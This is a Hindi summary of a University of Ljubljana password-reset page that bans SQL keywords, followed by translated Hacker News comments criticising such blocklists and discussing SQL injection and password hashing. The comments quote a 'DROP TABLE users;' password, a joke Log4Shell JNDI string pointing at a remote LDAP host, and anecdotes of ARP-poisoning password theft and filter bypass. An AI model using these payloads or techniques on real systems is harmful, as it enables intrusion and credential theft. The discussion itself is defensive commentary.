पासवर्ड में इस्तेमाल न किए जा सकने वाले शब्द: select, insert, update, delete, drop

• University of Ljubljana ID पोर्टल में पासवर्ड रीसेट करते समय username, नया password, और उसकी confirmation एंट्री मांगी जाती है, ताकि account recovery प्रक्रिया में input errors कम हों
• username ईमेल address जैसे फ़ॉर्मेट में होता है, और उदाहरण के तौर पर [e-mail] दिया गया है
• नया password कम से कम 10 अक्षरों का होना चाहिए और इसमें नाम या उपनाम जैसी आसानी से अनुमान लगाई जा सकने वाली व्यक्तिगत जानकारी शामिल नहीं हो सकती
• इसमें uppercase, lowercase, numbers, और symbols -_.+@ में से कम से कम 3 शर्तें पूरी करनी होंगी
• select, insert, update, delete, drop जैसे शब्द भी password में इस्तेमाल नहीं किए जा सकते, इसलिए सिर्फ लंबाई नहीं बल्कि प्रतिबंधित patterns भी जांचने पड़ते हैं

---

पासवर्ड रीसेट इनपुट फ़्लो

• स्क्रीन में Username, New password, New password confirmation इनपुट फ़ील्ड होते हैं
• तीनों फ़ील्ड required के रूप में चिह्नित हैं
• username ईमेल address जैसे फ़ॉर्मेट में होता है
  • John Smith के लिए username का उदाहरण [e-mail] है
• टाइपो कम करने के लिए नया password दो बार दर्ज करना होता है

नए password के नियम

• नए password को उपयोगकर्ता की digital identity की सुरक्षा के साधन के रूप में माना जाता है
• आसानी से अनुमान लगाई जा सकने वाली passwords से बचना चाहिए
  • उदाहरण: नाम, उपनाम, पार्टनर का नाम, जन्मतिथि
• password कम से कम 10 अक्षरों का होना चाहिए
• इसमें उपयोगकर्ता का नाम या उपनाम शामिल नहीं हो सकता
• निम्न मानकों में से कम से कम 3 पूरे होने चाहिए
  • अंग्रेज़ी alphabet के uppercase अक्षर
  • अंग्रेज़ी alphabet के lowercase अक्षर
  • numbers
  • symbols: -_.+@

इस्तेमाल नहीं किए जा सकने वाले शब्द

• password में निम्न शब्दों का इस्तेमाल नहीं किया जा सकता
  • select
  • insert
  • update
  • delete
  • drop

[GN⁺]

Hacker News की राय

• ओह, वह string मैंने ही डाली थी। यह management request था और आज भी कारण नहीं पता
  यह साइट passwords store नहीं करती, बल्कि एक external account management system के लिए सुंदर wrapper interface जैसी है
  सुना था कि कुछ legacy apps के login field validation अजीब हैं, इसलिए कुछ खास strings वाले password से students login नहीं कर पाते, लेकिन कोई वास्तविक case नहीं पता

  • उल्टा, सभी passwords DROP TABLE users; बना देने चाहिए। तब जल्दी पता चल जाएगा कि vendors में से कौन passwords को बेहद असुरक्षित तरीके से handle करता है
    इस मामले में इसका मतलब होगा कि वे न user input sanitize करते हैं, न passwords को hash या hide करते हैं, यानी यह social nuisance के स्तर की बात है
  • एक site पर “नया password बनाएं” field की maximum length login form के input field के maxlength attribute से ज्यादा थी
    password manager के autofill से login हो जाता था, लेकिन manually type या paste करने पर क्यों नहीं हो रहा, यह काफी देर तक समझ नहीं आया। वजह यह थी कि autofill maxlength को ignore कर रहा था
  • जिज्ञासा है कि यह सिर्फ page पर मौजूद string है, या validation logic सच में इसे block करता है

• कहा गया था कि "script" शामिल नहीं कर सकते, लेकिन मैंने शुरुआती teen उम्र में बड़े social platform Nettby.no को hack किया था
  तरीका सारे banned words हटाने का था, और उनमें script भी शामिल था

  • जाहिर है, script को दो बार चलाना चाहिए था
  • मैंने भी school में Nettby hack किया था। अच्छे दिन थे
    Nettby में HTTPS नहीं था, इसलिए ARP poisoning man-in-the-middle attack से मैंने सबके passwords चुरा लिए और लोगों के accounts से random बकवास post करके अफरा-तफरी देखी। मैंने ताक-झांक नहीं की; लगता है 14 साल के मेरे अंदर भी किसी तरह न्यूनतम ethics थी
  • आसान problem थी। बस angle brackets हटा देते तो बात खत्म थी
  • LOL. मैंने भी Coca-Cola site पर यही किया था, और उनकी company के MD ने नाराजगी भरा letter भेजकर मेरा account delete कर दिया था

• शायद बहुत आलोचना होगी, लेकिन कम-से-कम कुछ मामलों में मुझे यह ठीक idea लगता है
  organisations में खराब code और खराब system architecture बनाने वाले लोग बहुत हैं, और उन्हें पकड़कर बदलवाने की क्षमता, authority और time रखने वाले लोग कम हैं
  अमेरिका में अक्सर local healthcare providers जैसी बेहद खराब coded websites के जरिए मजबूरी में काम करना पड़ता है। ऐसे मामलों में बेहतर हो सकता है कि implementation को, जैसा कि अक्सर होता है, भयानक मानकर उसी हिसाब से mitigations सुझाए जाएं
  नाममात्र banned password patterns सच में allow होते हैं या नहीं, यह users आसानी से test करके regulators के सामने issue उठा सकते हैं, लेकिन बाहर से यह verify करना आसान नहीं कि implementation सही है या नहीं
  यह elegant नहीं है और दुखद है, लेकिन realistically यह मान लेना बेहतर हो सकता है कि काम अक्सर गड़बड़ तरीके से होता है और oversight भी कम है, फिर सबसे बुरे outcomes रोकने वाली mitigations पर सोचना चाहिए

  • सहमत नहीं। कागज पर अच्छा दिखता है, लेकिन false sense of security बहुत ज्यादा देता है
    ऐसे security measures अक्सर गहरे problems को ढक देते हैं। आमतौर पर user input को सावधानी से handle नहीं किया जाता, इसलिए ऐसे measures डाले जाते हैं, लेकिन कुछ keywords block करने से potential vulnerabilities “neutralize” हो जाएंगी—यह assumption अक्सर आसानी से गलत साबित हो जाती है। eBay और JSFuck cases देखिए
    मुझे यह सोच पसंद नहीं। Web Application Firewall (WAF), lazy penetration tests और compliance checkboxes ने भारी मात्रा में security theater पैदा किया है, और मुझे यकीन है कि इसने companies को यह भरोसा दिला दिया कि वे हास्यास्पद रूप से गड़बड़ लिखे software को public internet पर partially expose करें तो भी वे “safe” हैं और “due diligence कर चुके” हैं
    नतीजा यह है कि जिन companies को मैंने लगभग बिना किसी वास्तविक choice के अपना data दिया, उनसे फिर मेरी सबसे sensitive information leak होने का apology letter डाक से मिलता है। जाहिर है, सबको मेरे data की बहुत परवाह थी, तभी उसे दशकों पुराने Java serialization library vulnerability से चोरी होने दिया गया होगा
    [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
  • किसी organisation में ऐसी password policy है, तो इसे ऐसे पढ़ा जा सकता है कि उस policy का जिम्मेदार व्यक्ति मानता है कि उसके organisation में SQL injection vulnerabilities रोकने की क्षमता और authority रखने वाले पर्याप्त लोग नहीं हैं
    किसी भी institution के लिए यह खराब दिखता है, लेकिन university के लिए खासकर गंभीर है, जिसे capable और empowered लोगों का गढ़ होना चाहिए
    सामान्य password advice के हिसाब से तो बेहतर होगा कि सब लोग ऐसे keywords password में डालें, ताकि bugs जल्दी सामने आ जाएं। उन्हें छिपे रहने और सिर्फ attackers के इस्तेमाल के लिए नहीं छोड़ना चाहिए
  • password को database के पास भी नहीं जाना चाहिए
    salt करने के बाद hash को लाखों बार apply करना चाहिए, और file में stored salt/hash values से compare करना चाहिए
    अगर यह भी नहीं कर सकते, तो credentials store करने वाला software लिखने के योग्य नहीं हैं। सच में। software security इस बात को मानने से शुरू होती है कि data toxic है, और उसका सम्मान न किया जाए तो वह company को bankrupt कर सकता है
  • यह आम defense-in-depth trap जैसा दिखता है। ऐसी problem पर गलत layer की engineering effort लगाई जा रही है जिसे किसी दूसरी layer में कहीं ज्यादा efficiently solve किया जा सकता है
    अगर आपको डरना पड़ रहा है कि system plaintext password को database table में डाल देगा, तो उस system में ऐसी लाखों और चीजें होंगी जो भयानक रूप से गलत हो सकती हैं। उदाहरण के लिए, अगर DBA Stack Overflow से SQL copy-paste करे तो क्या करेंगे
    अगर organisation में incompetent engineers हैं, तो उन्हें अपना authentication system implement न करने दें; बेहतर है widely used open source framework या commercial product इस्तेमाल करें
  • समझ नहीं आता कि यह कौन सा attack path रोकता है
    अगर authentication flow password पर salt और hash apply करके original plaintext password को discard करने के अलावा कुछ और करता है, तो पूरे system को बिल्कुल इस्तेमाल नहीं करना चाहिए

• ठीक है। इसके बजाय truncate इस्तेमाल कर सकते हैं

• इस situation में सबसे funny बात यह है कि banned strings की पूरी checking भी नहीं होती
  source: मैं उसी school का student हूं, curiosity में खुद try किया था

  • अगर कुछ टूट गया, तो वे उस disclaimer का बहाना बनाकर जिम्मेदारी तुम पर डाल सकते हैं
  • नियम तोड़ने का risk अगर expulsion है, तो compliance सुनिश्चित करना आसान होगा

• सही stored procedures और दूसरी तकनीकों से SQL injection को पूरी तरह असंभव बनाने के बजाय, बस कुछ keywords को रोकना और यह उम्मीद करना कि hackers escape tricks जैसे ऐसे तरीके नहीं सोचेंगे जो उन्होंने नहीं सोचे हैं
  कुछ समय तक शायद काम करेगा, लेकिन सिर्फ तब तक जब तक कोई साबित न कर दे कि यह नहीं चलता
  user input को SQL के साथ mix न होने देना अब rocket science नहीं है। यह 2005 नहीं है
  अगर यह शुरुआत में ही असरदार है, तो इसका मतलब है कि passwords को hash किए बिना store किया जा रहा है, और यह 2005 में भी मूर्खता थी। अगर username या दूसरे input fields पर भी यही तरीका हो तो थोड़ा ज्यादा समझ में आता, लेकिन password कभी भी इस तरह database में नहीं जाना चाहिए

  • कंपनी में structured data को HTTP request header value के रूप में serialize करने के तरीके पर चर्चा हुई थी। मैंने reflexively “बिना newline वाला JSON का ASCII subset” कहा, लेकिन कई वजहों से उसे reject कर दिया गया। वजह शायद बहुत ज्यादा punctuation होना या Chinese के लिए बहुत verbose होना जैसी रही होगी
    किसी ने pipe-separated fields सुझाए, लेकिन वह भी reject हो गया। वजह कुछ ऐसी थी कि “पहले कुछ customer proxies ने pipe character वाले headers reject कर दिए थे”
    voodoo-style programming हमेशा सिर्फ due diligence की कमी से नहीं आती। कभी-कभी यह उस स्थिति से भी निकलती है जहाँ आपको पता है कि अतीत में कुछ गलत हुआ था, लेकिन evidence नहीं है और उससे निपटने का तरीका भी नहीं है
    व्यक्तिगत रूप से मैं तो बस deploy करके देखना चाहता कि क्या टूटता है, फिर जरूरत पड़े तो बाद में customers के साथ सुलझाता। जाहिर है और अच्छे कारणों से यह तरीका लोकप्रिय नहीं है, इसलिए आखिर में pipe character इस्तेमाल नहीं किया गया
  • 2005 की शुरुआत के आसपास मैंने अपनी पहली database app बनाई थी, और user data को SQL के साथ mix न करना इतना मुश्किल नहीं था
    CGI script भी शायद taint mode में चलाई थी। वह याद है?
  • “अगर यह शुरुआत में ही असरदार है, तो passwords को hash किए बिना store किया जा रहा है” यह जरूरी नहीं है
    RDBMS hash function support कर सकता है, इसलिए UPDATE USERS SET PASSWORD = SHA2($PASSWORD) की तरह store भी किया जा सकता है। इस case में SQL injection के लिए vulnerable है, लेकिन unhashed password store नहीं हो रहा
    hash को application layer में करने की सलाह देने के अच्छे कारण हैं, लेकिन अगर सही तरीके से parameterized queries इस्तेमाल की जाएँ, तो database में करना भी इतना भयानक नहीं है
  • यह बात कि यह पोस्ट front page पर आई, अपने-आप में बताती है कि जो अभी समझाया जा रहा है वह इस readership के लिए obvious बात है

• उफ, इसे तो कभी पकड़ ही नहीं पाएँगे। मेरा password ${jndi:ldap://hunter2.com/totallylegit} है

  • नहीं। वह न तो valid LDAP URL है, न valid domain
    domain में सिर्फ ASCII characters a-z और digits 0-9 हो सकते हैं, और asterisk allowed नहीं है। allowed एकमात्र symbol hyphen है, और वह शुरुआत या अंत में भी नहीं आ सकता

• आशावादी नजरिए से देखें तो यह requirement किसी जरूरत से ज्यादा सख्त Web Application Firewall (WAF) से आई हो सकती है

  • या फिर architecture से गड़बड़ किसी “framework” या tools के collection की वजह से भी हो सकती है
    दूसरे comments इसे application security खराब होने का “evidence” मानते हैं, लेकिन मुझे नहीं लगता कि इतना बड़ा निष्कर्ष निकाला जा सकता है। हाँ, यह निष्कर्ष निकाला जा सकता है कि stack का कोई हिस्सा बेहद खराब तरीके से implement किया गया है
  • तब तो इसका मतलब है कि WAF unhashed passwords देख सकता है, जो बिल्कुल अच्छा नहीं है
  • सोच रहा हूँ WAF किसका abbreviation है

• पुराने system से बचा हुआ अवशेष जैसा लगता है। मैंने सुना है कि कुछ universities और banks central authentication के लिए पुराने mainframes इस्तेमाल करते हैं
  कुछ cases में सुना है कि passwords plaintext में store होते थे, 8 characters तक truncate किए जाते थे और सिर्फ uppercase allowed था
  ऐसे systems को upgrade न करने की मुख्य वजह, कम से कम मैंने जो सुना है, cost और complexity है। $$$$ खर्च करके चल रहे system को upgrade करने के बजाय, सिर्फ $ खर्च कर password restrict कर दो और basic “security” जोड़ दो—कुछ ऐसा

• कुछ साल पहले मैं WordPress API से posts डालने वाली app बना रहा था। customers ने अपने-अपने अलग hosting environments में WordPress install कर रखा था, जिनमें कई “security” features थे
  एक bug report मिली कि blog में post डालने पर वह fail हो जाता है और empty content publish हो जाता है; पता चला ऐसे security plugins लंबी blog post scan करते हुए अगर .... select from जैसा कुछ पाते, तो उस POST parameter को empty string से replace कर देते थे
  इसी तरह की customer bug report भी देखी, जहाँ हमारे server से भेजी गई request के JSON field के अंदर HTML text में obfuscated JavaScript inject था। पक्का नहीं था कि वह “security” plugin था या malware

  • पहले एक खास set of pages पर कुछ ही requests fail हो रही थीं। शुरुआत में मैंने पाया कि सभी URLs में select था, अक्सर itemselect जैसे parameter name के हिस्से के रूप में। इसलिए stack में कहीं WAF जैसा filter है या नहीं, यह ढूँढा
    आखिरकार commercial WAF इस्तेमाल करने से पहले से proxy server में बचा हुआ पुराना config मिला, और वह config SELECT.*UNION खोज रहा था
    URL फिर से देखने पर पता चला कि उन सबमें company=credit+union जैसा parameter भी था। मैंने सिर पकड़ लिया, वह code हटा दिया, और दूसरी जगहों पर पर्याप्त safeguards थे